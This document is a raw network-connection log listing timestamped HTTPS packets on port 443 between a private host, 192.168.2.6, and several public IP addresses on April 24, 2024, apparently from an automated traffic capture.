Apr 24, 2024 08:21:20.909199953 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.909250021 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.909282923 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.909291029 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.909317017 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.909348965 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.909499884 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.910353899 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.910379887 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.913568974 CEST	443	49718	142.250.141.103	192.168.2.6
Apr 24, 2024 08:21:20.913743973 CEST	443	49718	142.250.141.103	192.168.2.6
Apr 24, 2024 08:21:20.914673090 CEST	49718	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:21:21.173470020 CEST	443	49734	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:21.173569918 CEST	443	49734	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:21.173682928 CEST	49734	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:21.174073935 CEST	49734	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:21.174088001 CEST	443	49734	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:21.177892923 CEST	49718	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:21:21.177900076 CEST	443	49718	142.250.141.103	192.168.2.6
Apr 24, 2024 08:21:21.334021091 CEST	49736	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:21.334105968 CEST	443	49736	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:21.334384918 CEST	49736	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:21.334537983 CEST	49736	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:21.334568977 CEST	443	49736	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:21.407636881 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:21.407677889 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:21.407790899 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:21.408943892 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:21.408957005 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:21.847778082 CEST	49705	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:22.004407883 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.004489899 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:22.006216049 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:22.006228924 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.006726980 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.007570028 CEST	443	49705	173.222.162.64	192.168.2.6
Apr 24, 2024 08:21:22.008362055 CEST	443	49736	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:22.019422054 CEST	49736	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:22.019457102 CEST	443	49736	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:22.021147966 CEST	443	49736	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:22.021235943 CEST	49736	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:22.033123970 CEST	49736	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:22.033425093 CEST	443	49736	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:22.033472061 CEST	49736	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:22.055543900 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:22.060736895 CEST	443	49705	173.222.162.64	192.168.2.6
Apr 24, 2024 08:21:22.060831070 CEST	443	49705	173.222.162.64	192.168.2.6
Apr 24, 2024 08:21:22.060856104 CEST	443	49705	173.222.162.64	192.168.2.6
Apr 24, 2024 08:21:22.060873985 CEST	443	49705	173.222.162.64	192.168.2.6
Apr 24, 2024 08:21:22.060928106 CEST	49705	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:22.060928106 CEST	49705	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:22.060928106 CEST	49705	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:22.061018944 CEST	49705	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:22.076118946 CEST	443	49736	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:22.086822987 CEST	49736	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:22.086882114 CEST	443	49736	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:22.097898006 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:22.133682013 CEST	49736	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:22.144133091 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.267476082 CEST	443	49736	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:22.267587900 CEST	443	49736	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:22.267796040 CEST	49736	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:22.269407034 CEST	49736	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:22.269468069 CEST	443	49736	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:22.564201117 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.564295053 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.564315081 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.564354897 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.564361095 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:22.564385891 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.564404011 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.564416885 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:22.564433098 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:22.564448118 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:22.564529896 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.564601898 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:22.564608097 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.564754009 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.564806938 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:22.585184097 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:22.585207939 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:22.585314035 CEST	49737	443	192.168.2.6	13.85.23.86
Apr 24, 2024 08:21:22.585321903 CEST	443	49737	13.85.23.86	192.168.2.6
Apr 24, 2024 08:21:27.761670113 CEST	443	49705	173.222.162.64	192.168.2.6
Apr 24, 2024 08:21:27.761770010 CEST	49705	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:29.390656948 CEST	49741	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:29.390718937 CEST	443	49741	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:29.390837908 CEST	49741	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:29.391625881 CEST	49741	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:29.391644955 CEST	443	49741	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.064443111 CEST	443	49741	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.064774036 CEST	49741	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:30.064806938 CEST	443	49741	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.065320015 CEST	443	49741	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.065707922 CEST	49741	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:30.065793037 CEST	443	49741	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.066020966 CEST	49741	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:30.108119011 CEST	443	49741	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.296506882 CEST	443	49741	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.296612978 CEST	443	49741	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.296699047 CEST	49741	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:30.297764063 CEST	49741	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:30.297791958 CEST	443	49741	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.299693108 CEST	49742	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:30.299731016 CEST	443	49742	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.299782038 CEST	49742	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:30.300412893 CEST	49742	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:30.300426960 CEST	443	49742	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.965805054 CEST	443	49742	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.966059923 CEST	49742	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:30.966075897 CEST	443	49742	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.966558933 CEST	443	49742	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.967153072 CEST	49742	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:30.967236042 CEST	443	49742	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:30.967312098 CEST	49742	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:31.008126974 CEST	443	49742	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:31.012753963 CEST	49742	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:31.608714104 CEST	443	49742	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:31.608828068 CEST	443	49742	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:31.610358953 CEST	49742	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:31.610721111 CEST	49742	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:31.610739946 CEST	443	49742	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:31.681130886 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:31.681179047 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:31.684933901 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:31.684933901 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:31.684966087 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:31.902113914 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:31.902178049 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:31.902585983 CEST	49745	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:31.902625084 CEST	443	49745	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:31.902662039 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:31.902777910 CEST	49745	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:31.902936935 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:31.902968884 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:31.903249979 CEST	49745	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:31.903265953 CEST	443	49745	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:32.247586012 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:32.247889042 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:32.247955084 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:32.249629021 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:32.249711990 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:32.250392914 CEST	443	49745	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:32.250817060 CEST	49745	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:32.250845909 CEST	443	49745	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:32.250988007 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:32.251086950 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:32.251218081 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:32.251238108 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:32.252546072 CEST	443	49745	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:32.252614021 CEST	49745	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:32.253537893 CEST	49745	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:32.253623962 CEST	443	49745	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:32.304327011 CEST	49745	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:32.304353952 CEST	443	49745	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:32.304403067 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:32.350018024 CEST	49745	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:32.357841969 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.358069897 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:32.358097076 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.358577967 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.358895063 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:32.358990908 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.359055996 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:32.404115915 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.657721043 CEST	49746	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:32.657810926 CEST	443	49746	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:32.658184052 CEST	49746	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:32.658813000 CEST	49746	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:32.658893108 CEST	443	49746	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:32.864382029 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.864418030 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.864438057 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.864475965 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:32.864504099 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.864518881 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:32.864548922 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:32.864969969 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.865041018 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.865051031 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:32.865093946 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.865104914 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:32.865118980 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:32.865160942 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:32.865602970 CEST	49743	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:32.865619898 CEST	443	49743	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:33.026254892 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:33.026374102 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:33.026415110 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:33.026451111 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:33.026467085 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:33.026523113 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:33.026559114 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:33.026710033 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:33.026765108 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:33.026781082 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:33.026833057 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:33.026878119 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:33.028426886 CEST	49744	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:33.028455973 CEST	443	49744	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:33.223010063 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.223056078 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.223140955 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.223555088 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.223573923 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.224812031 CEST	49748	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.224853039 CEST	443	49748	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:33.224910975 CEST	49748	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.225106955 CEST	49748	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.225120068 CEST	443	49748	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:33.324394941 CEST	443	49746	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:33.324476004 CEST	49746	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:33.330336094 CEST	49746	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:33.330359936 CEST	443	49746	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:33.330713987 CEST	443	49746	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:33.332583904 CEST	49746	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:33.332652092 CEST	49746	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:33.332664967 CEST	443	49746	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:33.332763910 CEST	49746	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:33.380124092 CEST	443	49746	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:33.548970938 CEST	443	49748	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:33.549370050 CEST	49748	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.549392939 CEST	443	49748	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:33.550421953 CEST	443	49748	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:33.550494909 CEST	49748	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.551490068 CEST	49748	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.551553965 CEST	443	49748	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:33.551697969 CEST	443	49746	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:33.551800966 CEST	443	49746	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:33.551923990 CEST	49748	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.551934958 CEST	443	49748	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:33.551956892 CEST	49746	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:33.552155018 CEST	49746	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:33.552176952 CEST	443	49746	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:33.565557957 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.565787077 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.565815926 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.567311049 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.567387104 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.568454981 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.568555117 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.568717957 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.568726063 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.604237080 CEST	49748	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.620919943 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.878190041 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.894478083 CEST	443	49748	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:33.894689083 CEST	443	49748	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:33.894752026 CEST	49748	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.894995928 CEST	49748	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.895009995 CEST	443	49748	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:33.895020962 CEST	49748	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.895055056 CEST	49748	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.896982908 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.897032022 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:33.897100925 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.897334099 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:33.897344112 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:33.904964924 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.904977083 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.904999018 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.905009031 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.905016899 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.905040979 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.905102015 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.905128956 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.905159950 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.905159950 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.936964035 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.936991930 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.937051058 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.937119961 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:33.937155008 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:33.980153084 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.054529905 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.054553986 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.054590940 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.054636002 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.054650068 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.054723024 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.054759979 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.054785967 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.081363916 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.081403017 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.081480980 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.081551075 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.081587076 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.081610918 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.101797104 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.101839066 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.101892948 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.101962090 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.102003098 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.102032900 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.110266924 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.110385895 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.110493898 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.110493898 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.118830919 CEST	49747	443	192.168.2.6	151.101.66.137
Apr 24, 2024 08:21:34.118891001 CEST	443	49747	151.101.66.137	192.168.2.6
Apr 24, 2024 08:21:34.210553885 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.218031883 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:34.218066931 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.218440056 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.218877077 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:34.218933105 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.219132900 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:34.260112047 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.577740908 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.577781916 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.577809095 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.577841997 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.577861071 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:34.577925920 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.577966928 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:34.577982903 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.578031063 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:34.578046083 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.578560114 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.578587055 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.578633070 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:34.578648090 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.579345942 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.579380035 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.579402924 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:34.579417944 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.579442978 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:34.580030918 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.580063105 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.580094099 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.580121040 CEST	49749	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:34.580136061 CEST	443	49749	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:34.580166101 CEST	49749	443	192.168.2.6	104.17.2.184
